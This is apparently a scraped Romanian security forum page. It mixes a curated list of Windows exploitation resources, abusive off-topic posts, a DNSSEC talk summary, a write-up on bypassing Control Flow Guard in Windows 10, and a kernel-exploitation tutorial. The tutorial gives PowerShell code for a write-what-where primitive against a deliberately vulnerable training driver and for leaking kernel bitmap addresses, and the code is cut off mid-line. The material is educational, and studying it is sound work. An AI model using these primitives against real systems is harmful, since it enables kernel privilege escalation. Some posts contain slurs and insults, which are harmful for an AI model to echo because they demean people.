Leaderboard

Awesome Windows Exploitation A curated list of awesome Windows Exploitation resources, and shiny things. There is no pre-established order of items in each category, the order is for contribution. If you want to contribute, please read the guide. Table of Contents Windows stack overflows Windows heap overflows Kernel based Windows overflows Return Oriented Programming Windows memory protections Bypassing filter and protections Typical windows exploits Exploit development tutorial series Corelan Team Fuzzysecurity Securitysift Whitehatters Academy TheSprawl Tools Windows stack overflows Stack Base Overflow Articles. Win32 Buffer Overflows (Location, Exploitation and Prevention) - by Dark spyrit [1999] Writing Stack Based Overflows on Windows - by Nish Bhalla’s [2005] Stack Smashing as of Today - by Hagen Fritsch [2009] SMASHING C++ VPTRS - by rix [2000] Windows heap overflows Heap Base Overflow Articles. Third Generation Exploitation smashing heap on 2k - by Halvar Flake [2002] Exploiting the MSRPC Heap Overflow Part 1 - by Dave Aitel (MS03-026) [September 2003] Exploiting the MSRPC Heap Overflow Part 2 - by Dave Aitel (MS03-026) [September 2003] Windows heap overflow penetration in black hat - by David Litchfield [2004] Glibc Adventures: The Forgotten Chunk - by François Goichon [2015] Pseudomonarchia jemallocum - by argp & huku The House Of Lore: Reloaded - by blackngel [2010] Malloc Des-Maleficarum - by blackngel [2009] free() exploitation technique - by huku Understanding the heap by breaking it - by Justin N. Ferguson [2007] The use of set_head to defeat the wilderness - by g463 The Malloc Maleficarum - by Phantasmal Phantasmagoria [2005] Exploiting The Wilderness - by Phantasmal Phantasmagoria [2004] Advanced Doug lea's malloc exploits - by jp Kernel based Windows overflows Kernel Base Exploit Development Articles. How to attack kernel based vulns on windows was done - by a Polish group called “sec-labs” [2003] Sec-lab old whitepaper Sec-lab old exploit Windows Local Kernel Exploitation (based on sec-lab research) - by S.K Chong [2004] How to exploit Windows kernel memory pool - by SoBeIt [2005] Exploiting remote kernel overflows in windows - by Eeye Security Kernel-mode Payloads on Windows in uninformed - by Matt Miller Exploiting 802.11 Wireless Driver Vulnerabilities on Windows BH US 2007 Attacking the Windows Kernel Remote and Local Exploitation of Network Drivers Exploiting Comon Flaws In Drivers I2OMGMT Driver Impersonation Attack Real World Kernel Pool Exploitation Exploit for windows 2k3 and 2k8 Alyzing local privilege escalations in win32k Intro to Windows Kernel Security Development There’s a party at ring0 and you’re invited Windows kernel vulnerability exploitation A New CVE-2015-0057 Exploit Technology - by Yu Wang [2016] Exploiting CVE-2014-4113 on Windows 8.1 - by Moritz Jodeit [2016] Easy local Windows Kernel exploitation - by Cesar Cerrudo [2012] Windows Kernel Exploitation - by Simone Cardona 2016 Return Oriented Programming The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls Blind return-oriented programming Sigreturn-oriented Programming Jump-Oriented Programming: A New Class of Code-Reuse Attack Out of control: Overcoming control-flow integrity ROP is Still Dangerous: Breaking Modern Defenses Loop-Oriented Programming(LOP): A New Code Reuse Attack to Bypass Modern Defenses - by Bingchen Lan, Yan Li, Hao Sun, Chao Su, Yao Liu, Qingkai Zeng [2015] Systematic Analysis of Defenses Against Return-Oriented Programming -by R. Skowyra, K. Casteel, H. Okhravi, N. Zeldovich, and W. Streilein [2013] Return-oriented programming without returns -by S.Checkoway, L. Davi, A. Dmitrienko, A. Sadeghi, H. Shacham, and M. Winandy [2010] Jump-oriented programming: a new class of code-reuse attack -by T. K. Bletsch, X. Jiang, V. W. Freeh, and Z. Liang [2011] Stitching the gadgets: on the ineffectiveness of coarse-grained control-flow integrity protection - by L. Davi, A. Sadeghi, and D. Lehmann [2014] Size does matter: Why using gadget-chain length to prevent code-reuse attacks is hard - by E. Göktas, E.Athanasopoulos, M. Polychronakis, H. Bos, and G.Portokalidis [2014] Buffer overflow attacks bypassing DEP (NX/XD bits) – part 1 - by Marco Mastropaolo [2005] Buffer overflow attacks bypassing DEP (NX/XD bits) – part 2 - by Marco Mastropaolo [2005] Practical Rop - by Dino Dai Zovi [2010] Exploitation with WriteProcessMemory - by Spencer Pratt [2010] Exploitation techniques and mitigations on Windows - by skape A little return oriented exploitation on Windows x86 – Part 1 - by Harmony Security and Stephen Fewer [2010] A little return oriented exploitation on Windows x86 – Part 2 - by Harmony Security and Stephen Fewer [2010] Windows memory protections Windows memory protections Introduction Articles. Data Execution Prevention /GS (Buffer Security Check) /SAFESEH ASLR SEHOP Bypassing filter and protections Windows memory protections Bypass Methods Articles. Third Generation Exploitation smashing heap on 2k - by Halvar Flake [2002] Creating Arbitrary Shellcode In Unicode Expanded Strings - by Chris Anley Advanced windows exploitation - by Dave Aitel [2003] Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server - by David Litchfield Reliable heap exploits and after that Windows Heap Exploitation (Win2KSP0 through WinXPSP2) - by Matt Conover in cansecwest 2004 Safely Searching Process Virtual Address Space - by Matt Miller [2004] IE exploit and used a technology called Heap Spray Bypassing hardware-enforced DEP - by Skape (Matt Miller) and Skywing (Ken Johnson) [October 2005] Exploiting Freelist[0] On XP Service Pack 2 - by Brett Moore [2005] Kernel-mode Payloads on Windows in uninformed Exploiting 802.11 Wireless Driver Vulnerabilities on Windows Exploiting Comon Flaws In Drivers Heap Feng Shui in JavaScript by Alexander sotirov [2007] Understanding and bypassing Windows Heap Protection - by Nicolas Waisman [2007] Heaps About Heaps - by Brett moore [2008] Bypassing browser memory protections in Windows Vista - by Mark Dowd and Alex Sotirov [2008] Attacking the Vista Heap - by ben hawkes [2008] Return oriented programming Exploitation without Code Injection - by Hovav Shacham (and others ) [2008] Token Kidnapping and a super reliable exploit for windows 2k3 and 2k8 - by Cesar Cerrudo [2008] Defeating DEP Immunity Way - by Pablo Sole [2008] Practical Windows XP2003 Heap Exploitation - by John McDonald and Chris Valasek [2009] Bypassing SEHOP - by Stefan Le Berre Damien Cauquil [2009] Interpreter Exploitation : Pointer Inference and JIT Spraying - by Dionysus Blazakis[2010] Write-up of Pwn2Own 2010 - by Peter Vreugdenhil All in one 0day presented in rootedCON - by Ruben Santamarta [2010] DEP/ASLR bypass using 3rd party - by Shahin Ramezany [2013] Typical windows exploits Real-world HW-DEP bypass Exploit - by Devcode Bypassing DEP by returning into HeapCreate - by Toto First public ASLR bypass exploit by using partial overwrite - by Skape Heap spray and bypassing DEP - by Skylined First public exploit that used ROP for bypassing DEP in adobe lib TIFF vulnerability Exploit codes of bypassing browsers memory protections PoC’s on Tokken TokenKidnapping . PoC for 2k3 -part 1 - by Cesar Cerrudo PoC’s on Tokken TokenKidnapping . PoC for 2k8 -part 2 - by Cesar Cerrudo An exploit works from win 3.1 to win 7 - by Tavis Ormandy KiTra0d Old ms08-067 metasploit module multi-target and DEP bypass PHP 6.0 Dev str_transliterate() Buffer overflow – NX + ASLR Bypass SMBv2 Exploit - by Stephen Fewer Microsoft IIS 7.5 remote heap buffer overflow - by redpantz Browser Exploitation Case Study for Internet Explorer 11 - by Moritz Jodeit [2016] Exploit development tutorial series Exploid Development Tutorial Series Base on Windows Operation System Articles. Corelan Team Exploit writing tutorial part 1 : Stack Based Overflows Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode Exploit writing tutorial part 3 : SEH Based Exploits Exploit writing tutorial part 3b : SEH Based Exploits – just another example Exploit writing tutorial part 4 : From Exploit to Metasploit – The basics Exploit writing tutorial part 5 : How debugger modules & plugins can speed up basic exploit development Exploit writing tutorial part 6 : Bypassing Stack Cookies, SafeSeh, SEHOP, HW DEP and ASLR Exploit writing tutorial part 7 : Unicode – from 0x00410041 to calc Exploit writing tutorial part 8 : Win32 Egg Hunting Exploit writing tutorial part 9 : Introduction to Win32 shellcoding Exploit writing tutorial part 10 : Chaining DEP with ROP – the Rubik’s Cube Exploit writing tutorial part 11 : Heap Spraying Demystified Fuzzysecurity Part 1: Introduction to Exploit Development Part 2: Saved Return Pointer Overflows Part 3: Structured Exception Handler (SEH) Part 4: Egg Hunters Part 5: Unicode 0x00410041 Part 6: Writing W32 shellcode Part 7: Return Oriented Programming Part 8: Spraying the Heap Chapter 1: Vanilla EIP Part 9: Spraying the Heap Chapter 2: Use-After-Free Part 10: Kernel Exploitation -> Stack Overflow Part 11: Kernel Exploitation -> Write-What-Where Part 12: Kernel Exploitation -> Null Pointer Dereference Part 13: Kernel Exploitation -> Uninitialized Stack Variable Part 14: Kernel Exploitation -> Integer Overflow Part 15: Kernel Exploitation -> UAF Part 16: Kernel Exploitation -> Pool Overflow Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit) Heap Overflows For Humans 101 Heap Overflows For Humans 102 Heap Overflows For Humans 102.5 Heap Overflows For Humans 103 Heap Overflows For Humans 103.5 Securitysift Windows Exploit Development – Part 1: The Basics Windows Exploit Development – Part 2: Intro to Stack Based Overflows Windows Exploit Development – Part 3: Changing Offsets and Rebased Modules Windows Exploit Development – Part 4: Locating Shellcode With Jumps Windows Exploit Development – Part 5: Locating Shellcode With Egghunting Windows Exploit Development – Part 6: SEH Exploits Windows Exploit Development – Part 7: Unicode Buffer Overflows Whitehatters Academy Intro to Windows kernel exploitation 1/N: Kernel Debugging Intro to Windows kernel exploitation 2/N: HackSys Extremely Vulnerable Driver Intro to Windows kernel exploitation 3/N: My first Driver exploit Intro to Windows kernel exploitation 3.5/N: A bit more of the HackSys Driver Backdoor 103: Fully Undetected Backdoor 102 Backdoor 101 TheSprawl corelan - integer overflows - exercise solution heap overflows for humans - 102 - exercise solution exploit exercises - protostar - final levels exploit exercises - protostar - network levels exploit exercises - protostar - heap levels exploit exercises - protostar - format string levels exploit exercises - protostar - stack levels open security training - introduction to software exploits - uninitialized variable overflow open security training - introduction to software exploits - off-by-one open security training - introduction to re - bomb lab secret phase open security training - introductory x86 - buffer overflow mystery box corelan - tutorial 10 - exercise solution corelan - tutorial 9 - exercise solution corelan - tutorial 7 - exercise solution getting from seh to nseh corelan - tutorial 3b - exercise solution Tools Disassemblers, debuggers, and other static and dynamic analysis tools. angr - Platform-agnostic binary analysis framework developed at UCSB's Seclab. BARF - Multiplatform, open source Binary Analysis and Reverse engineering Framework. binnavi - Binary analysis IDE for reverse engineering based on graph visualization. Bokken - GUI for Pyew and Radare. Capstone - Disassembly framework for binary analysis and reversing, with support for many architectures and bindings in several languages. codebro - Web based code browser using clang to provide basic code analysis. dnSpy - .NET assembly editor, decompiler and debugger. Evan's Debugger (EDB) - A modular debugger with a Qt GUI. GDB - The GNU debugger. GEF - GDB Enhanced Features, for exploiters and reverse engineers. hackers-grep - A utility to search for strings in PE executables including imports, exports, and debug symbols. IDA Pro - Windows disassembler and debugger, with a free evaluation version. Immunity Debugger - Debugger for malware analysis and more, with a Python API. ltrace - Dynamic analysis for Linux executables. objdump - Part of GNU binutils, for static analysis of Linux binaries. OllyDbg - An assembly-level debugger for Windows executables. PANDA - Platform for Architecture-Neutral Dynamic Analysis PEDA - Python Exploit Development Assistance for GDB, an enhanced display with added commands. pestudio - Perform static analysis of Windows executables. Process Monitor - Advanced monitoring tool for Windows programs. Pyew - Python tool for malware analysis. Radare2 - Reverse engineering framework, with debugger support. SMRT - Sublime Malware Research Tool, a plugin for Sublime 3 to aid with malware analyis. strace - Dynamic analysis for Linux executables. Udis86 - Disassembler library and tool for x86 and x86_64. Vivisect - Python tool for malware analysis. X64dbg - An open-source x64/x32 debugger for windows. Sursa: https://github.com/enddo/awesome-windows-exploitation

Adica furat, ce naiba , fi baiat destept, daca si cu parca nu sunt in aceasi barca nu stiai ? , exploit nici o sansa. Singura solutie cu o placa neverlocked.

Titlu de cacat de la un site de cacat, vechi de un an de zile. Nu vrei sa punem feed la Libertatea, Click si Cancan pe RST? Au preluat si altii "stirea" putin mai moderat dar e normal sa incerce sa-si promoveze produsul actual si sa si-l vanda, e parte din job description-ul lui. Cat ar fi de prost sa zica "stati pe licentele pe care sunteti acum, nu ne mai dati bani in plus". Din perspectiva lui e simplu: ii bag in sperieti pe astia din guvernul german si firmele mari, incheiem niste contracte noi pe foarte multi bani, eu ca director primesc credit ca ce bine m-am ocupat de evolutia pe Germania si la randu-mi primesc multi $$$. Ah, da, si licentele noi vin si cu tot felul de trebusoare pentru care muricanii (serviciile in special) isi freaca mainile de bucurie.

lmfao dumbass you got busted, i'm ballin on ur punkass. down below is 14K euro earned in 5 days.

AGSQ: Mai dute ma in pula mea de tigan mustacios cu tot cu SRL-ul pulei mele de 200 de lei capital social si sediu social in pizda pe campuri unde nu aveti nici canalizare. Tu compari o corporatie cu cacatul tau de SRL si 400 euro incasari lunare? Cum adica server reutilizat? Tu dupa ce foloseste clientul o luna serverul, il arunci ? Pai ce flocii lu ma-ta grasa, serverul e prezervativ ? Besi in pula mea de ratat cu aberatiile si comparatiile tale de doi lei.

Ba tu esti dus cu capul :)))))) Ce importanta are ?

DNSSec Explained! Dan Benway BSides Columbus Ohio 2017 DNSSec is yet neither widely deployed nor well understood, but there is already clear and present need for its use. Just like HTTPS, DNSSec is becoming more common, and will eventually become required. In this session I will diagrammatically show how DNSSec works. We’ll look at DNS functionality, DNS referrals, spoofing and man-in-the-middle attacks, asymmetric key cryptography (public key cryptography), digital signatures, zone signing keys, key signing keys, DS records, and more. Daniel L. Benway has been an IT professional since 1993, working in assistive technology, software development, enterprise infrastructure, and security. He holds a Bachelor of Science in Computer Science from The Thomas J. Watson School of Engineering and Applied Science at Binghamton University, as well as certifications from Microsoft, Cisco, CompTIA, and IBM/Lotus. Currently Daniel is an Active Directory, Windows infrastructure, and PKI specialist in Columbus, Ohio. You can learn more about Daniel from his IT blog or LinkedIn. Sursa: http://www.irongeek.com/i.php?page=videos/bsidescolumbus2017/bsides-columbus09-dnssec-explained-dan-benway

January 16, 2017 Bypassing Control Flow Guard in Windows 10 Morten Schenk This blog post is the result of some research I did back in July of 2016, but did not have the possibility to publish before now. In June of 2016 Theori published a blog post on an Internet Explorer vulnerability which was patched in MS16-063, the exploit they wrote was for Internet Explorer 11 on Windows 7, and as their own blog post indicates the exploit will not work on Windows 10 due to the mitigation technology called Control Flow Guard. This blog post describes how I ported the exploit to Windows 10 and bypassed CFG, in fact I found another method, which will be posted in an upcoming blog post. Understanding the Enemy – Control Flow Guard Control Flow Guard (CFG) is a mitigation implemented by Microsoft in Windows 8.1 Update 3 and Windows 10 which attempts to protect indirect calls at the assembly level. Trend Micro has published a good analysis of how CFG is implemented on Windows 10. There have already been several bypasses published for CFG, but most of these previous ones have targeted the CFG implementation algorithms themselves, while I wanted to look at weaknesses in the functionality. As Theori wrote in their blog post the exploit technique from Windows 7 will not work due to the presence of CFG, let us look closer at why and try to understand a way around it. The exploit code from the Theori github works on Internet Explorer on Windows 10 up until the overwritten virtual function table is called. So, we are left with the question of how to leverage the arbitrary read/write primitive to bypass CFG. According to the research by Trend Micro, CFG is invoked by the function LdrpValidateUserCallTarget which validates if a function is valid to use in an indirect call, it looks like this: The pointer loaded into EDX is the base pointer of the validation bitmap, which in this case is: Then the function which is validated has its address loaded into ECX, if kernel32!VirtualProtectStub is taken as example then the address in this case is: The address is then right shifted 8 bits and used to load the DWORD which holds the validation bit for that address, in this case: The function address is then bit shifted 3 to the right and a bit test is performed, this essentially does a modulo 0x20 on the bit shifted address which is then the bit to be checked in the DWORD from the validation bitmap, so in this case: So the relevant bit is at offset 0x14 in: Which means that it is valid, so VirtualProtect is a valid calling address, however this does not really solve the problem, the arguments for it must be supplied by the attacker as well. Normally this is done in a ROP chain but any bytes not stemming from the beginning of a function are not valid. So, the solution is to find a function which may be called where the arguments can be controlled and the functionality of the function gives the attacker an advantage. This requires us to look closer at the exploit. Exploit on Windows 10 In the exploit supplied by Theori, code execution is achieved by overwriting the virtual function table of the TypedArray with a stack pivot gadget, since this is no longer possible it is worth looking into the functions available to a TypedArray, while doing this the following two functions seem interesting: They are at offsets 0x7C and 0x188, they are interesting since they can be called directly from Javascript code and HasItem has one user controlled parameter while Subarray has two user controlled parameters. The issue however is that neither of them return any data other than Booleans. The question is then which function should be used to overwrite them with, furthermore the chosen function must take the same number of arguments, otherwise the stack will be misaligned on return which will raise an exception. The API’s I searched for should be used to leak a pointer to the stack which could then be used to overwrite a return address, thus bypassing CFG. The API I located which could be used is RtlCaptureContext which is present in kernel32.dll, kernelbase.dll and ntdll.dll, the API takes one argument which is a pointer to a CONTEXT structure as shown on MSDN: A CONTEXT structure holds a dump of all the registers including ESP, furthermore the input value is just a pointer to a buffer which can hold the data. Looking at the layout of a TypedArray object the following appears: The first DWORD is the vtable pointer, which can be overwritten to create a fake vtable holding the address of the RtlCaptureContext API at offset 0x7C, while the DWORD at offset 0x20 is the pointer to the actual data of the TypedArray where the size is user controlled: Since it is also possible to leak the address of this buffer, it can serve as the parameter for RtlCaptureContext. To accomplish this a fake vtable now has to be created with a pointer to ntdll!RtlCaptureContext at offset 0x7C, that means leaking the address of RtlCaptureContext, which in turn means leaking the address of ntdll.dll. The default route of performing this would be to use the address of the vtable which is a pointer into jscript9.dll: From this pointer iterate back 0x1000 bytes continuously looking for the MZ header, and then going through the import table looking for a pointer into kernelbase.dll. Then doing the same for that pointer to gain the base address of kernelbase.dll, then looking at the import tables for a pointer into ntdll.dll and again getting the base address and then looking up the exported functions from here to find RtlCaptureContext. While this method is perfectly valid it does have a drawback, if EMET is installed on the system it will trigger a crash since code coming from jscript9.dll, which our read/write primitive does, is not allowed to read data from the PE header or to go through the export table, to get around that I used a different technique. Remember that every indirect call protected by CFG calls ntdll!LdrpValidateUserCallTarget, and since jscript9.dll is protected by CFG any function with an indirect call contains a pointer directly into ntdll.dll. One such function is at offset 0x10 in the vtable: Using the read primitive, the pointer to ntdll.dll may then be found through the following function: Going from a pointer into ntdll.dll to the address of RtlCaptureContext without looking at the export tables may be accomplished by using the read primitive to search for a signature or hash. RtlCaptureContext looks like this: The first 0x30 bytes always stay the same and are pretty unique, so they may be used as a collision free hash when added together as seen below: Where the function takes a pointer into ntdll.dll as argument. Putting all of this together gives: From here offset 0x200 of the buffer contains the results from RtlCaptureContext, viewing it shows: From the above it is clear that stack pointers have been leaked, it is now a matter of finding an address to overwrite which will give execution control. Looking at the top of the stack shows: Which is the current function return address, this address is placed at an offset of 0x40 bytes from the leaked pointer at offset 0x9C in the RtlCaptureContext information. With a bit of luck this offset will be the same for other simple functions, so it should be possible to invoke the write primitive and make it overwrite its own return address thus bypassing CFG. The addition to the exploit is shown below: Which when run does show EIP control: Furthermore, the writes to offset 0x40 and 0x44 are now placed at the top of stack, which allows for creating a stack pivot and then a ROP chain, one way could be to use a POP EAX gadget followed by XCHG EAX, ESP gadget. Microsoft Mitigation Microsoft has stated that CFG bypassed which corrupt return addresses on the stack are a known design limitation and hence not eligible to fixes or any kind of bug bounty as shown here: With that said, Microsoft has done two things to mitigate this technique, first in the upcoming version of Windows 10, Return Flow Guard will be implemented which is seen as a way to stop stack corruptions from giving execution control. The other is the introduction of sensitive API’s in the Anniversary edition release of Windows 10, it only protects Microsoft Edge, so would not help in this case, but it does block the RtlCaptureContext API on Microsoft Edge. If you made it this far, thanks for reading. The proof of concept code can be found on: https://github.com/MortenSchenk/RtlCaptureContext-CFG-Bypass Sursa: https://improsec.com/blog//bypassing-control-flow-guard-in-windows-10

Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10 32/64bit) Hello and welcome! We are, once again, diving into ring0 with @HackSysTeam's driver. In this post we will be revisiting the write-what-where vulnerability. By implementing a powerful ring0 read/write primitive we can create an exploit that works on Windows 7, 8, 8.1 and 10 (pre v1607) and targets both 32 and 64 bit architectures! As we will see, this technique is essentially a data attack so we will painlessly circumvent SMEP/SMAP/CFG/RFG => winning! This technique is slightly "complicated" and requires some prior knowledge on the part of the reader so I highly recommend that the resources below are reviewed before starting on this post. Finally, to keep things fresh we will be developing our exploit on a 64-bit Windows 10 host. Enough introductory nonsense, let's get to it! Resources: + HackSysTeam-PSKernelPwn (@FuzzySec) - here + Abusing GDI for ring0 exploit primitives (@CoreSecurity) - here + Abusing GDI Reloaded (@CoreSecurity) - here + This Time Font hunt you down in 4 bytes (@keen_lab) - here + Terminus Project (@rwfpl) - here Recon the challenge We are rehashing the write-what-where vulnerability from part 11 of this series so we won't go over the entire analysis again. We just want to make sure our arbitrary write still works as expected on Win 10. ? Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); } "@ $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } [byte[]]$Buffer = [System.BitConverter]::GetBytes(0x4141414141414141) + [System.BitConverter]::GetBytes(0x4242424242424242) echo "`n[>] Sending buffer.." echo "[+] Buffer length: $($Buffer.Length)" echo "[+] IOCTL: 0x22200B" [EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null We seem to get the expected result, as shown below. You may remember from part 11 that this is not entirely as it appears. The value we are writing is not in fact 0x4141414141414141 it is the pointer stored at that address. Also, our POC only works on 64 bit. We would do well to keep our exploit architecture independent from the start! We can modify the buffer structure as show below to get the arbitrary write we want on 32/64 bit. ? # [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere #--- [IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WriteWhat).Length) [System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WriteWhat), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WriteWhat).Length) if ($x32Architecture) { [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($WriteWhere) } else { [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($WriteWhere) } As long as pass in the appropriate variables, this should now work universally. Pwn all the things! Game Plan That's the easy part done. What we want to do now is turn a single arbitrary write into a full ring0 read/write primitive. At a high level we will (1) create two bitmap objects, (2) leak their respective kernel addresses, (3) use our arbitrary write to modify a header element for one of the bitmap objects and (4) use the the Gdi32 GetBitmapBits/SetBitmapBits API calls to read from and write to kernel space! Leaking Bitmap Kernel Objects The crucial part of this technique is that, when creating a bitmap, we can leak the address of the bitmap object in the kernel. This leak was patched by Microsoft in v1607 of Windows 10 (aka the anniversary patch) => crycry. As it turns out, when a bitmap is created, a struct is added to the GdiSharedHandleTable in the parent process PEB. Given the base address of the process PEB, the GdiSharedHandleTable is located at the following offsets (32/64 bit respectively). ? [StructLayout(LayoutKind.Explicit, Size = 256)] public struct _PEB { [FieldOffset(148)] public IntPtr GdiSharedHandleTable32; [FieldOffset(248)] public IntPtr GdiSharedHandleTable64; } This PEB entry is simply a pointer to an array of GDICELL structs which define a number of different image types. The definition of this struct can be seen below. ? /// 32bit size: 0x10 /// 64bit size: 0x18 [StructLayout(LayoutKind.Sequential)] public struct _GDI_CELL { public IntPtr pKernelAddress; public UInt16 wProcessId; public UInt16 wCount; public UInt16 wUpper; public UInt16 wType; public IntPtr pUserAddress; } Let's use the following POC to see if we can manually find the _GDI_CELL struct in KD. ? Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("gdi32.dll")] public static extern IntPtr CreateBitmap( int nWidth, int nHeight, uint cPlanes, uint cBitsPerPel, IntPtr lpvBits); } "@ [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) $Bitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) "{0:X}" -f [int]$Bitmap We run the POC and get back a bitmap handle, immediately it seems obvious that this is not a standard handle value returned by so many Windows API calls (it is much too large). In fact, thanks to no cleverness on my part, the last two bytes of bitmap handles are actually the index for the struct in the GdiSharedHandleTable array (=> handle & 0xffff). Knowing this, let's jump in KD and see if we can find the _GDI_CELL struct for our newly created bitmap! With the pointer to the GdiSharedHandleTable array, all we need to do is add the struct index times the struct size (0x18 on 64bit). Process hacker has a very useful feature which allows us to list GDI object handles. We can use this to confirm the values we found in KD. Sw33t! For our ring0 primitive we need to collect this information programmatically for two bitmaps (a manager and a worker). As we were able to see, it's just some simple math based on the bitmap handle. The only question is how do we get the base address for the process PEB. Fortunately the undocumented, NtQueryInformationProcess function comes to the rescue. When called with the ProcessBasicInformation class (0x0), the function returns a struct which contains the base address of the PEB. I won't go into further detail on this as it is a well understood technique, hopefully the POC below will clear up any doubts! ? Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct _PROCESS_BASIC_INFORMATION { public IntPtr ExitStatus; public IntPtr PebBaseAddress; public IntPtr AffinityMask; public IntPtr BasePriority; public UIntPtr UniqueProcessId; public IntPtr InheritedFromUniqueProcessId; } /// Partial _PEB [StructLayout(LayoutKind.Explicit, Size = 256)] public struct _PEB { [FieldOffset(148)] public IntPtr GdiSharedHandleTable32; [FieldOffset(248)] public IntPtr GdiSharedHandleTable64; } [StructLayout(LayoutKind.Sequential)] public struct _GDI_CELL { public IntPtr pKernelAddress; public UInt16 wProcessId; public UInt16 wCount; public UInt16 wUpper; public UInt16 wType; public IntPtr pUserAddress; } public static class EVD { [DllImport("ntdll.dll")] public static extern int NtQueryInformationProcess( IntPtr processHandle, int processInformationClass, ref _PROCESS_BASIC_INFORMATION processInformation, int processInformationLength, ref int returnLength); [DllImport("gdi32.dll")] public static extern IntPtr CreateBitmap( int nWidth, int nHeight, uint cPlanes, uint cBitsPerPel, IntPtr lpvBits); } "@ #==============================================[PEB] # Flag architecture $x32Architecture/!$x32Architecture if ([System.IntPtr]::Size -eq 4) { echo "`n[>] Target is 32-bit!" $x32Architecture = 1 } else { echo "`n[>] Target is 64-bit!" } # Current Proc handle $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle # Process Basic Information $PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION $PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION) $returnLength = New-Object Int $CallResult = [EVD]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength) # PID & PEB address echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)" if ($x32Architecture) { echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())" } else { echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())" } # Lazy PEB parsing $_PEB = New-Object _PEB $_PEB = $_PEB.GetType() $BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64() $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset $PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB) # GdiSharedHandleTable if ($x32Architecture) { echo "[+] GdiSharedHandleTable: 0x$("{0:X8}" -f $PEBFlags.GdiSharedHandleTable32.ToInt32())" } else { echo "[+] GdiSharedHandleTable: 0x$("{0:X16}" -f $PEBFlags.GdiSharedHandleTable64.ToInt64())" } # _GDI_CELL size $_GDI_CELL = New-Object _GDI_CELL $_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL) #==============================================[/PEB] #==============================================[Bitmap] echo "`n[>] Creating Bitmaps.." # Manager Bitmap [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) $ManagerBitmap = [EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) echo "[+] Manager BitMap handle: 0x$("{0:X}" -f [int]$ManagerBitmap)" if ($x32Architecture) { $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)" $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry) echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))" } else { $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size) echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)" $ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry) echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))" } # Worker Bitmap [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4) $WorkerBitmap = 